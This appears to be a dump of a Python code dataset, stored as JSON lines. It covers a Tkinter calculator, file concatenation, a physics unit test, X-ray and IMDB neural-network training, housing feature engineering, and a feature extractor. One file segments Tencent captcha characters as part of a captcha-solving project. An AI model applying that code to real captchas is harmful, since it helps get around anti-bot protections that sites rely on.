Button(btrow3,text=\"9\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(9),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn33.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn34 = Button(btrow3,text=\"*\",font=\"3ds 18 bold\",padx= 11,pady=5,relief=GROOVE,border=0,command=lambda:bt(\"*\"),bg=\"#9e9e9e\",activebackground = \"#ba68c8\")\r\nbtn34.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\n#Button 4\r\nbtn41 = Button(btrow4,text=\"C\",font=\"3ds 18 bold\",padx= 22,pady=5,relief=GROOVE,border=0,command=clear,bg=\"#b71c1c\",activebackground = \"#ba68c8\")\r\nbtn41.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn42 = Button(btrow4,text=\"0\",font=\"3ds 18 bold\",padx= 18,pady=5,relief=GROOVE,border=0,command=lambda:bt(0),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn42.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn45 = Button(btrow4,text=\".\",font=\"3ds 25 bold\",padx= 7,pady=2,relief=GROOVE,border=0,command=lambda:bt(\".\"),bg=\"#9e9e9e\",activebackground = \"#ba68c8\")\r\nbtn45.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn43 = Button(btrow4,text=\"=\",font=\"3ds 18 bold\",padx= 10,pady=2,relief=GROOVE,border=0,command=Equal,bg=\"#9e9e9e\",activebackground = \"#ba68c8\")\r\nbtn43.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn44 = Button(btrow4,text=\"/\",font=\"3ds 18 bold\",padx= 10,pady=2,relief=GROOVE,border=0,command=lambda:bt(\"/\"),bg=\"#9e9e9e\",activebackground = \"#ba68c8\")\r\nbtn44.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nroot.mainloop()","sub_path":"Calculator_project_GUI.py","file_name":"Calculator_project_GUI.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"628299344","text":"import os\n\n#扫描目录txt文件 保存到一个文件里面\n#参数 \n#directory 目录\n#prefix 前缀\n#postfix 后缀\ndef scan_files(directory,prefix=None,postfix=None): \n files_list=[] \n \n for root, sub_dirs, files in os.walk(directory): \n for special_file in files: \n if postfix: \n if special_file.endswith(postfix): \n files_list.append(os.path.join(root,special_file)) \n elif prefix: \n if special_file.startswith(prefix): \n files_list.append(os.path.join(root,special_file)) \n else: \n files_list.append(os.path.join(root,special_file)) \n return files_list\n\ndef save_files_to_file(directory,prefix=None,postfix=None,objectfile=None):\n files = scan_files(directory,prefix,postfix)\n file = open(objectfile,\"wb\")\n for f in files:\n print(f)\n file.write(open(f,\"rb\").read());\n ","sub_path":"word2vec/files_to_file.py","file_name":"files_to_file.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"578882502","text":"######################################################################\n## File: TestHemi.py\n######################################################################\n\nimport CMGTools.RootTools.TestTools as TestTools\nimport CMGTools.RootTools.cmgTuple as cmgTuple\n\nimport unittest\n\nclass TestHemi(TestTools.CFGTest):\n\n def __init__(self, methodName):\n TestTools.CFGTest.__init__(self, methodName)\n self.cfgsRunOnce.append(\"CMGTools/Common/test/testHemi_cfg.py\")\n\n def testTreeEntries(self):\n \"\"\"Test that the Events tree is not empty.\"\"\"\n\n output = self.__class__.cfgsRunOnceCache[\"CMGTools/Common/test/testHemi_cfg.py\"]\n self.assert_(TestTools.getEntries(output[1]) > 0,\n \"The CMGTuple must contain at least some entries\")\n\n def testHemiBranchExists(self):\n \"\"\"Tests that the hemisphere branch exists.\"\"\"\n\n output = self.__class__.cfgsRunOnceCache[\"CMGTools/Common/test/testHemi_cfg.py\"]\n events = TestTools.getObject(output[1], \"Events\")\n\n cmg = cmgTuple.cmgTuple(events)\n self.assertTrue(cmg.aliases.has_key(\"cmgHemi\"),\n \"We are expecting a branch called cmgHemi\")\n\n def testDiHemiBranchExists(self):\n \"\"\"Tests that the di-hemisphere branch exists.\"\"\"\n\n output = self.__class__.cfgsRunOnceCache[\"CMGTools/Common/test/testHemi_cfg.py\"]\n events = TestTools.getObject(output[1], \"Events\")\n\n cmg = cmgTuple.cmgTuple(events)\n self.assertTrue(cmg.aliases.has_key(\"cmgDiHemi\"),\n \"We are expecting a branch called cmgDiHemi\")\n\n######################################################################\n\nif __name__ == \"__main__\":\n\n unittest.main()\n\n######################################################################\n","sub_path":"CMGTools/Common/test/unittests/TestHemi.py","file_name":"TestHemi.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"231725136","text":"import os\nfrom tensorboard_logger import configure, log_value\nimport torch\nimport torch.autograd as autograd\nfrom torch.autograd import Variable\nimport torch.utils.data as torchdata\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport tqdm\nimport utils\nimport torch.optim as optim\nimport pdb\nfrom data_loader import OpenI\nfrom PIL import Image\nfrom xray_utils import transform_xray, get_model\nimport cv2\nimport numpy as np\nimport torch.backends.cudnn as cudnn\ncudnn.benchmark = True\nfrom torch.optim.lr_scheduler import StepLR\n\nimport argparse\nparser = argparse.ArgumentParser(description='Radiograph_Pretraining')\nparser.add_argument('--lr', type=float, default=1e-4, help='learning rate')\nparser.add_argument('--wd', type=float, default=0.0, help='weight decay')\nparser.add_argument('--cv_dir', default='cv/', help='checkpoint directory (models and logs are saved here)')\nparser.add_argument('--batch_size', type=int, default=32, help='batch size')\nparser.add_argument('--epoch_step', type=int, default=10000, help='epochs after which lr is decayed')\nparser.add_argument('--max_epochs', type=int, default=10000, help='total epochs to run')\nparser.add_argument('--parallel', action ='store_true', default=False, help='use multiple GPUs for training')\nargs = parser.parse_args()\n\nif not os.path.exists(args.cv_dir):\n os.system('mkdir ' + args.cv_dir)\nutils.save_args(__file__, args)\n\ndef train(epoch, counter):\n\n rnet.train()\n losses = []\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n for batch_idx, (inputs, targets) in tqdm.tqdm(enumerate(trainloader), total=len(trainloader)):\n \n inputs, targets = inputs.to(device), targets.to(device)\n preds = rnet.forward(inputs)\n\n loss = criterion(preds, targets, torch.ones((inputs.size(0))).cuda())\n if batch_idx % 50 == 0:\n log_value('train_loss_iteration', loss, counter)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n losses.append(loss.cpu())\n counter += 1\n\n loss = torch.stack(losses).mean()\n log_str = 'E: %d | L: %.3f'%(epoch, loss)\n print(log_str)\n\n log_value('train_loss_epoch', loss, epoch)\n\ndef test(epoch):\n\n rnet.eval()\n losses = []\n for batch_idx, (inputs, targets) in tqdm.tqdm(enumerate(devloader), total=len(devloader)):\n with torch.no_grad():\n inputs, targets = Variable(inputs), Variable(targets).cuda()\n if not args.parallel:\n inputs = inputs.cuda()\n\n v_inputs = Variable(inputs.data)\n\n preds = rnet.forward(v_inputs)\n\n loss = criterion(preds, targets, torch.ones((inputs.size(0))).cuda())\n\n losses.append(loss.cpu())\n\n loss = torch.stack(losses).mean()\n log_str = 'TS: %d | L: %.3f'%(epoch, loss)\n print(log_str)\n\n log_value('test_loss', loss, epoch)\n\n # save the model parameters\n rnet_state_dict = rnet.module.state_dict() if args.parallel else rnet.state_dict()\n\n state = {\n 'state_dict': rnet_state_dict,\n 'epoch': epoch,\n }\n torch.save(state, args.cv_dir+'/ckpt_E_%d'%(epoch))\n#--------------------------------------------------------------------------------------------------------#\ntrain_set = OpenI('train', 'data', transform_xray())\ndev_set = OpenI('dev', 'data', transform_xray(), doc2vec_file=\"report2vec.model\")\ntest_set = OpenI('test', 'data', transform_xray(), doc2vec_file=\"report2vec.model\")\ntrainloader = torchdata.DataLoader(train_set, batch_size=args.batch_size, shuffle=True, num_workers=16)\ndevloader = torchdata.DataLoader(dev_set, batch_size=args.batch_size, shuffle=False, num_workers=4)\ntestloader = torchdata.DataLoader(test_set, batch_size=args.batch_size, shuffle=False, num_workers=4)\n\nrnet = get_model(50)\nif args.parallel:\n rnet = nn.DataParallel(rnet)\nrnet.cuda()\n\nstart_epoch = 0\ncounter = 0\ncriterion = nn.CosineEmbeddingLoss()\noptimizer = optim.Adam(rnet.parameters(), lr=args.lr)\nscheduler = StepLR(optimizer, 1, gamma=args.wd, last_epoch=-1)\nconfigure(args.cv_dir+'/log', flush_secs=5)\nfor epoch in range(start_epoch, start_epoch+args.max_epochs+1):\n train(epoch, counter)\n if epoch % 1 == 0:\n torch.cuda.empty_cache()\n test(epoch)\n scheduler.step()\n","sub_path":"xray_im2text_training.py","file_name":"xray_im2text_training.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"232951083","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 13 18:07:58 2020\r\n\r\n@author: George Nyamao\r\n\r\nThis module is for Feature Engineering on the following \r\nfeatures:\r\n BsmtUnfSF\r\n TotalBsmtSF\r\n 1stFlrSF\r\n 2ndFlrSF\r\n\r\nThis is done in the following function engineer(), which will\r\nreceive the original dataframe, and treat any missing data and \r\noutliers, and adjust for skewness to help make the data fit a \r\nnormal distribution.\r\n\r\n\"\"\"\r\n\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndef basement_type(df_in:pd.DataFrame) -> pd.DataFrame:\r\n \"\"\"\r\n Feature engineering for:\r\n BsmtFinType1\r\n BsmtFinType2\r\n\r\n Parameters\r\n ----------\r\n df_in : pd.DataFrame\r\n This dataframe will only include ONLY the \r\n above listed engineered features.\r\n\r\n Returns\r\n -------\r\n Complete dataframe with engineered features.\r\n\r\n \"\"\"\r\n # Define Replacement Dictionaries\r\n BsmtLiving_Dict = {\r\n 'GLQ':3,\r\n 'ALQ':2,\r\n 'BLQ':1,\r\n 'Rec':np.NaN,\r\n 'LwQ':np.NaN,\r\n 'Unf':np.NaN,\r\n 'Na':np.NaN\r\n }\r\n\r\n Rec_Dict = {\r\n 'GLQ':np.NaN,\r\n 'ALQ':np.NaN,\r\n 'BLQ':np.NaN,\r\n 'LwQ':np.NaN,\r\n 'Unf':np.NaN,\r\n 'Na':np.NaN,\r\n 'Rec':1\r\n }\r\n \r\n LwQ_Dict = {\r\n 'GLQ':np.NaN,\r\n 'ALQ':np.NaN,\r\n 'BLQ':np.NaN,\r\n 'Rec':np.NaN,\r\n 'Unf':np.NaN,\r\n 'Na':np.NaN,\r\n 'LwQ':1\r\n }\r\n\r\n Unf_Dict = {\r\n 'GLQ':np.NaN,\r\n 'ALQ':np.NaN,\r\n 'BLQ':np.NaN,\r\n 'Rec':np.NaN,\r\n 'LwQ':np.NaN,\r\n 'Na':np.NaN,\r\n 'Unf':1\r\n }\r\n\r\n \r\n # Replace the incoming data based on the above dictionary. \r\n # Leave NaN's - they're important\r\n BsmtFinT1Score = df_in.BsmtFinType1.replace(BsmtLiving_Dict)\r\n BsmtFinT2Score = df_in.BsmtFinType2.replace(BsmtLiving_Dict)\r\n\r\n BsmtRecT1Score = df_in.BsmtFinType1.replace(Rec_Dict)\r\n BsmtRecT2Score = df_in.BsmtFinType2.replace(Rec_Dict)\r\n\r\n BsmtLwQT1Score = df_in.BsmtFinType1.replace(LwQ_Dict)\r\n BsmtLwQT2Score = df_in.BsmtFinType2.replace(LwQ_Dict)\r\n\r\n BsmtUnfT1Score = df_in.BsmtFinType1.replace(Unf_Dict)\r\n BsmtUnfT2Score = df_in.BsmtFinType2.replace(Unf_Dict)\r\n\r\n # Now shuffle them together by replacing the NaN's in T1 with the values in T2.\r\n # We can also safely fill the remaining NaN's with zeroes, cast to integer, and\r\n # rename the series.\r\n \r\n BsmtFin = BsmtFinT1Score.fillna(BsmtFinT2Score).fillna(0).apply(int).rename('BsmtFin_Living')\r\n BsmtRec = BsmtRecT1Score.fillna(BsmtRecT2Score).fillna(0).apply(int).rename('BsmtFin_Rec')\r\n BsmtLwQ = BsmtLwQT1Score.fillna(BsmtLwQT2Score).fillna(0).apply(int).rename('BsmtFin_LwQ')\r\n BsmtUnf = BsmtUnfT1Score.fillna(BsmtUnfT2Score).fillna(0).apply(int).rename('BsmtFin_Unf')\r\n\r\n #Concatenate the resultant columns into a single dataFrame for return\r\n ret = pd.concat(\r\n [\r\n BsmtFin,\r\n BsmtRec,\r\n BsmtLwQ,\r\n BsmtUnf\r\n ], \r\n axis=1\r\n \r\n )\r\n return ret\r\n\r\n\r\n# this section is entirely for testing purposes. When \r\n# it is imported, it will not run.\r\n\r\ndef main():\r\n df_in=pd.read_csv('train.csv')\r\n print(basement_type(df_in))\r\nif __name__ == '__main__':\r\n main()","sub_path":"revIowaHousing-master/unique/bsmtfn_type.py","file_name":"bsmtfn_type.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"607790270","text":"# -*- coding: UTF-8 -*-\r\n'''\r\nCreated on 2014/3/10\r\n\r\n@author: rogers\r\n'''\r\nimport cv2\r\n#from model import Model\r\nfrom utils import Util\r\nfrom utils import Constants\r\nfrom trainNeuro import ReadImg\r\nimport numpy as np\r\n\r\n#设定字符宽度\r\ncharWidth = 3\r\n\r\n'''\r\n以(start, height - 1)为起点,从底向上做一次搜索\r\nstart就是起点的x坐标了,y坐标默认为height - 1\r\n'''\r\ndef searchOnce_old(img, path, startX, startY):\r\n height, width = img.shape\r\n '''\r\n 1.从起点开始往下搜索,直到遇到黑点\r\n 0是黑点,255是白点\r\n '''\r\n #print(\"startX:\" + str(startX) + \", startY:\" + str(startY))\r\n blackY = 0\r\n for j in range(startY, 0, -1):\r\n if img.item(j, startX) == 0:\r\n blackY = j\r\n break\r\n #print(\"blackY:\" + str(blackY))\r\n #这里要从第一个黑点开始递归搜索了\r\n searchRecursion_old(img, path, startX, blackY)\r\n \r\ndef searchRecursion_old(img, path, startX, startY):\r\n height, width = img.shape\r\n #print(\"startX:\" + str(startX) + \", startY:\" + str(startY))\r\n #检查是否搜索到尽头了\r\n if(startY <= 0):\r\n return \r\n '''\r\n 2.从黑点忘左、右分别按水平方向搜索,直到穿过白点再次遇到黑点\r\n 默认就从start-2, start+2开始搜吧,这样就相当于碰到白点了,直接遇到黑点就停止了\r\n '''\r\n leftX = 0\r\n rightX = width - 1\r\n #向左搜索,记录第一次碰到黑点的距离leftX\r\n for i in range(startX - 1, 0, -1):\r\n if img.item(startY, i) == 0:\r\n leftX = i\r\n break\r\n #向右搜索,记录第一次碰到黑点的距离rightX\r\n for i in range(0, width - startX - 1):\r\n #print(\"x:\" + str(i + startX + 1) + \"y:\" + str(startY) + \"pixel:\" + str(img.getpixel(((i + startX + 1), startY))))\r\n if img.item(startY, i + startX + 1) == 0:\r\n rightX = i + startX + 1\r\n break\r\n #if rightX == 0:\r\n # rightX = width - 1\r\n #print(\"leftX:\" + str(leftX) + \", rightX:\" + str(rightX))\r\n '''\r\n 3.保存左和右搜索的距离,进行判断,有三种情况\r\n 3.1 两边的距离均大于字符宽度,则上移,继续搜索下一个点\r\n 3.2 两边都小于或等于字符宽度,说明此时字符有重叠,暂时先取两边距离的中点,加入路径,继续搜索下一个点\r\n 3.3 左边的距离较小,暂时作为正确的分割点,加入路径,下移\r\n 3.4 右边的距离较小,把右边的加入路径\r\n '''\r\n leftDistance = startX - leftX\r\n rightDistance = rightX - startX\r\n #print(\"leftDistance:\" + str(leftDistance) + \", rightDistance:\" + str(rightDistance))\r\n #3.1 继续搜索下一个点\r\n if leftDistance > charWidth and rightDistance > charWidth:\r\n searchRecursion_old(img, path, startX, startY - 1)\r\n #3.2 \r\n elif leftDistance <= charWidth and rightDistance <= charWidth:\r\n newX = int((leftX + rightX) / 2 )\r\n path.append((newX, startY))\r\n searchRecursion_old(img, path, newX, startY - 1)\r\n elif leftDistance <= charWidth and rightDistance >= charWidth:\r\n path.append((leftX, startY))\r\n searchRecursion_old(img, path, leftX, startY - 1)\r\n elif leftDistance >= charWidth and rightDistance <= charWidth:\r\n path.append((rightX, startY))\r\n searchRecursion_old(img, path, rightX, startY - 1)\r\n\r\n'''\r\nstartX是起点\r\n'''\r\ndef spiltOne(img, startX):\r\n #for j in range(startX, endX):\r\n height, width = img.shape\r\n path = []\r\n path.append((startX, height - 1))\r\n searchOnce_old(img, path, startX, height - 1)\r\n #print(path)\r\n #for i in range(len(path.path) - 1):\r\n # cv2.line(img, path.paths[i].toTuple(), path.paths[i - 1].toTuple(), 0)\r\n #cv2.imshow(\"Image\", img) \r\n #if we want show a img, must add this\r\n #cv2.waitKey (0)\r\n return path\r\n\r\ndef printAllPath(allPaths):\r\n for i in range(2):\r\n # for path in allPaths.all_path[i]:\r\n print(allPaths[i])\r\n \r\nallPaths={}\r\npaths=[]\r\n'''\r\n得到所以分割线集合,img是二值化后的分割线集合\r\n'''\r\ndef getAllPaths(img):\r\n #四个字符,三条分割线\r\n startPoint = {0:[20,21], 1:[45,46], 2:[68,69]}\r\n height, width = img.shape\r\n for i in range(2):\r\n paths = []\r\n for x in startPoint[i]:\r\n paths.append(Util.fillPath(spiltOne(img, x), height))\r\n allPaths[i] = paths\r\n #printAllPath(allPaths) \r\n return allPaths\r\n\r\n\r\n\r\n'''\r\n之前写的是从上往下搜索的,鉴于很多字符在上面粘连的太紧密\r\n反而从下面搜索效果貌似好一些,所以这个版本就写从下面搜索的\r\n处理细化后的二值图像\r\n'''\r\ndef searchFromBottom():\r\n pass\r\n\r\n'''\r\n找图像细化后的分支点,这些点的特征是这样的\r\n0 0 0 0 0 0 0 1 0\r\n1 1 1 或 1 1 1 或 0 1 1\r\n0 1 0 1 0 0 1 0 0\r\n基本特点是有4个1,中间的1是原点,其他的都作为一个分支,这样就代表一共有三个分支了\r\n'''\r\ndef findBranchPoint(img):\r\n height, width = img.shape\r\n point = []\r\n for y in range(1, height - 1):\r\n for x in range(1, width - 1):\r\n #y, x是中心点的坐标\r\n sum = img.item(y - 1, x - 1) + img.item(y - 1,x) + img.item(y - 1,x + 1)\r\n sum += img.item(y, x - 1) + img.item(y,x) + img.item(y,x + 1)\r\n sum += img.item(y + 1, x - 1) + img.item(y + 1,x) + img.item(y + 1, x + 1)\r\n if sum >= 4:\r\n point.append((x, y))\r\n return point\r\n\r\n#膨胀图像\r\ndef dilate(img, element_width):\r\n #OpenCV定义的结构元素 \r\n #element_width = 7\r\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT,(element_width, element_width)) \r\n #膨胀图像 \r\n dilated = cv2.dilate(~img, kernel) \r\n return ~dilated\r\n\r\nif __name__ == \"__main__\":\r\n #这个图像B的下方分割点是88,如果能正确把B分出来就OK\r\n oriImg = cv2.imread(Constants.IMG_DIR_TENCENT_TRAIN + \"UPUS_34b_45b_77t.jpg\", 0)\r\n img = Util.binaryzation(oriImg)\r\n cv2.imshow(\"ori\", img)\r\n height, width = img.shape\r\n #img = dilate(img, 6)\r\n \r\n img = ~Util.skeleton(~img)\r\n cv2.imshow(\"ske\", img)\r\n #img[img == 0] = 1\r\n #img[img == 255] = 0\r\n '''Util.printCV2Image(img)\r\n print(findBranchPoint(img))\r\n #我们只处理细化后的,这样不会收到多余字符的干扰\r\n \r\n cv2.imwrite(Constants.IMG_DIR_TENCENT_TRAIN + \"ske.jpg\", img)'''\r\n '''print(spiltOne(img, 83))\r\n path = Util.fillPath(spiltOne(img, 83), height)\r\n path4 = Util.getRightBoder(width, height)\r\n img = ReadImg.getOneChar(img, path, path4)\r\n print(type(img))\r\n img = img.astype(np.int8)\r\n #img[img == 1] = 128\r\n Util.printCV2Image(img)\r\n #print(path)\r\n cv2.imshow(\"ret\", img)'''\r\n #getAllPaths(img)\r\n cv2.waitKey(0)\r\n\r\n ","sub_path":"captchatrain/src/spilt/SpiltUseCV2New.py","file_name":"SpiltUseCV2New.py","file_ext":"py","file_size_in_byte":6887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"501522182","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nfrom numpy import linalg as LA\n\nfrom keras.models import Sequential\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\n\n\n\n#from keras.applications.resnet50 import ResNet50\nfrom keras.preprocessing import image\nfrom keras.applications.resnet50 import preprocess_input\n\n#from keras.applications.vgg16 import preprocess_input\n\nclass BuildModel:\n def __init__(self):\n\n img_width, img_height = 224, 224\n self.input_shape = (img_width,img_height,3)\n\n # 初始化模型\n # 建立模型\n self.model = Sequential()\n self.model.add(Conv2D(32, (3, 3), input_shape=self.input_shape))\n self.model.add(Activation('relu'))\n self.model.add(MaxPooling2D(pool_size=(2, 2)))\n\n self.model.add(Conv2D(32, (3, 3)))\n self.model.add(Activation('relu'))\n self.model.add(MaxPooling2D(pool_size=(2, 2)))\n\n self.model.add(Conv2D(64, (3, 3)))\n self.model.add(Activation('relu'))\n self.model.add(MaxPooling2D(pool_size=(2, 2)))\n\n self.model.add(Conv2D(128, (3, 3)))\n self.model.add(Activation('relu'))\n self.model.add(MaxPooling2D(pool_size=(2, 2)))\n\n self.model.add(Flatten())\n self.model.add(Dense(128, activation='relu'))\n self.model.add(Dropout(0.5))\n self.model.add(Dense(5, activation='sigmoid'))\n # 编译\n self.model.compile(loss='categorical_crossentropy',\n optimizer='rmsprop',\n metrics=['accuracy'])\n self.model.predict(np.zeros((1,224,224,3 )))\n\n '''\n Use vgg16 model to extract features\n Output normalized feature vector\n '''\n def extract_feat(self, img_path):\n img = image.load_img(img_path, target_size=(self.input_shape[0], self.input_shape[1]))\n img = image.img_to_array(img)\n img = np.expand_dims(img, axis=0)\n img = preprocess_input(img)\n feat = self.model.predict(img)\n norm_feat = feat[0]/LA.norm(feat[0])\n return norm_feat","sub_path":"imageupload/extract_def_cnn.py","file_name":"extract_def_cnn.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"91301278","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 2 11:01:02 2019\n\n@author: sameepshah\n\"\"\"\n\n\nfrom __future__ import absolute_import, division, print_function\nimport tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn import metrics\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom matplotlib import pyplot\n\nprint(tf.__version__)\n\n\n'''\ndef auc(y_true, y_pred):\n auc = tf.metrics.auc(y_true, y_pred)[1]\n keras.backend.get_session().run(tf.local_variables_initializer())\n return auc\n'''\ndef splitdata(imdb):\n #num_words = 10000 keeps the 10,000 most frequent occured words from the training data \n (train_data, train_labels), (test_data, test_labels) = imdb.load_data(num_words=10000)\n return (train_data, train_labels), (test_data, test_labels)\n\n#function to decode to text\ndef text_review(text):\n return ' '.join([text_data.get(i, '?') for i in text])\n\ndef data_padding(train_data,test_data):\n #Data Preperation, padding the array so all of the data has the same length\n train_data = keras.preprocessing.sequence.pad_sequences(train_data,\n value=word_index[\"\"],\n padding = 'post',\n maxlen = 300)\n test_data = keras.preprocessing.sequence.pad_sequences(test_data,\n value=word_index[\"\"],\n padding = 'post',\n maxlen = 300)\n return (train_data,test_data)\n \n\ndef auc(y_true, y_pred):\n return tf.py_func(roc_auc_score, (y_true, y_pred), tf.double)\n\n \ndef ROC_plot(X_values_test,y_values_test,model2):\n # ROC Plot1\n plt.figure(0)\n \n #results = model2.predict_classes(np.array(test_data), batch_size = 1)\n\n CM_pred_proba = model2.predict_proba(X_values_test)[::,0]\n fpr, tpr, _ = metrics.roc_curve(y_values_test, CM_pred_proba)\n auc = metrics.roc_auc_score(y_values_test, CM_pred_proba)\n plt.plot(fpr,tpr,label=\"data CNN, auc=\"+str(auc))\n plt.legend(loc=4)\n lw = 2\n plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\n plt.title('ROC Plot')\n\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.show()\n \ndef CNNModel(train_data,train_labels):\n #Building a 1D Convvolutional Neural Network Model\n #input shape is the vocabulary count used for the movie reviews (10,000 words)\n vocab_size = 10000\n maxlen = 300\n embedding_vector_length = 32\n\n model = keras.Sequential()\n model.add(keras.layers.Embedding(input_dim = vocab_size, output_dim = embedding_vector_length,\n input_length=maxlen))\n model.add(keras.layers.Conv1D(32,kernel_size=(3),strides=1, padding='same',\n activation= 'relu'))\n model.add(keras.layers.Dropout(0.5))\n #model.add(keras.layers.Conv1D(64, kernel_size=(3),strides=1, padding='same', activation='relu'))\n model.add(keras.layers.AveragePooling1D(pool_size = (2)))\n #Randomely dropping neurons to improve convergenc\n #model.add(keras.layers.Dropout(0.2))\n model.add(keras.layers.Flatten())\n model.add(keras.layers.Dense(64, activation=tf.nn.relu))\n model.add(keras.layers.Dense(1,activation=tf.nn.sigmoid))\n model.summary()\n\n Adam = keras.optimizers.Adam(lr=0.0001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\n model.compile(optimizer = Adam,loss='binary_crossentropy', metrics=['acc', auc])\n\n #splitting the data for validation purposes \n x_val = train_data[:10000]\n partial_x_train = train_data[10000:]\n\n y_val = train_labels[:10000]\n pratial_y_train = train_labels[10000:]\n\n #Training the model\n early_stopping = keras.callbacks.EarlyStopping(monitor='val_loss', min_delta=0, patience=2,\n verbose=0, mode='auto', baseline=None, \n restore_best_weights=False)\n history = model.fit(np.array(partial_x_train),np.array(pratial_y_train),epochs=40, batch_size=512, \n validation_data=(np.array(x_val),np.array(y_val)),\n verbose=1, callbacks=[early_stopping])\n \n return model, history\n\ndef saveModel(model):\n # Saving Model for future API\n model.save('IMDB_Classification_CNN.h5')\n print(\"Saved model to disk\")\n del model #deletes the existing model\n\ndef loadModel(des):\n #returns a compiled model\n #identical to the previous one\n model2 = keras.models.load_model('IMDB_Classification_CNN.h5', custom_objects={'auc': auc})\n return model2\n\ndef lossAccuracyPlot(history):\n history_dict = history.history\n history_dict.keys()\n \n acc = history_dict['acc']\n val_acc = history_dict['val_acc']\n loss = history_dict['loss']\n val_loss = history_dict['val_loss']\n\n epochs = range(1, len(acc) + 1)\n\n plt.plot(epochs, loss, 'b', label='Training loss')\n plt.plot(epochs, val_loss, 'r', label='Validation loss')\n plt.title('Training and validation loss')\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.legend()\n\n plt.show()\n\n\n plt.plot(epochs, acc, 'b', label='Training acc')\n plt.plot(epochs, val_acc, 'r', label='Validation acc')\n plt.title('Training and validation accuracy')\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy')\n plt.legend()\n\n plt.show()\n\nif __name__==\"__main__\":\n #importing imdb data from keras datasert \n imdb = keras.datasets.imdb\n print(imdb)\n \n (train_data, train_labels), (test_data, test_labels) = splitdata(imdb)\n \n #Summarize number of unique words\n print(\"Number of words: \")\n print(len(np.unique(np.hstack(train_data))))\n \n #Data Exploration \n print(\"Training entries: {}, labels\".format(len(train_data), len(train_labels)))\n\n #Texts of reviews have been converted to integers, \n #where integer represents a specific word in the dictionary\n print(train_data[4])\n\n #showing the reviews of varing length, below shows the num of words for 1st and 2nd review\n print(len(train_data[4]), len(train_data[5]))\n\n #lets view the average review length\n print(\"Review length: \")\n reviews = [len(x) for x in train_data]\n print(\"Mean %.2f words Standard Deviation (%f)\" % (np.mean(reviews), np.std(reviews)))\n\n #plot review lenght\n pyplot.boxplot(reviews)\n pyplot.show()\n \n \n #Helper function to convert integers back to words\n\n #A dictonary mapping words to an integer index\n word_index = imdb.get_word_index()\n\n #The first indices are reserved\n word_index = {k:(v+3) for k, v in word_index.items()}\n word_index[\"\"] = 0\n word_index[\"\"] = 1\n word_index[\"\"] = 2 #unknown\n word_index[\"\"] = 3\n\n text_data = dict([(value, key) for (key, value) in word_index.items()])\n\n \n #using the text_review function to display the text for the 4th review:\n print(text_review(train_data[4]))\n \n train_data,test_data = data_padding(train_data,test_data)\n \n #checking to make sure the length are equal\n print(len(train_data[4]), len(train_data[5]))\n\n #inspecting one of the reviews\n print(train_data[4])\n\n \n model, history = CNNModel(train_data,train_labels)\n saveModel(model)\n \n des = \"../Algo_Project/IMDB_Classification_CNN.h5\"\n \n model2 = loadModel(des)\n results = model2.predict_classes(np.array(test_data), batch_size = 1)\n score = accuracy_score(np.array(test_labels), results)\n results2 = model2.evaluate(np.array(test_data), test_labels)\n print('Test accuracy:', score)\n print('Test accuracy:', results2)\n print(confusion_matrix(test_labels, results))\n ROC_plot(test_data,test_labels,model2)\n lossAccuracyPlot(history)\n \n \n\n\n\n\n\n\n","sub_path":"Deep-Learning-master/IMDB_Classification_CNN.py","file_name":"IMDB_Classification_CNN.py","file_ext":"py","file_size_in_byte":8094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"83197506","text":"from google.cloud import language\nfrom google.cloud.language import enums\nfrom google.cloud.language import types\nimport sys\n\ndef entity_sentiment_text(text):\n \"\"\"Detects entity sentiment in the provided text.\"\"\"\n client = language.LanguageServiceClient()\n\n document = 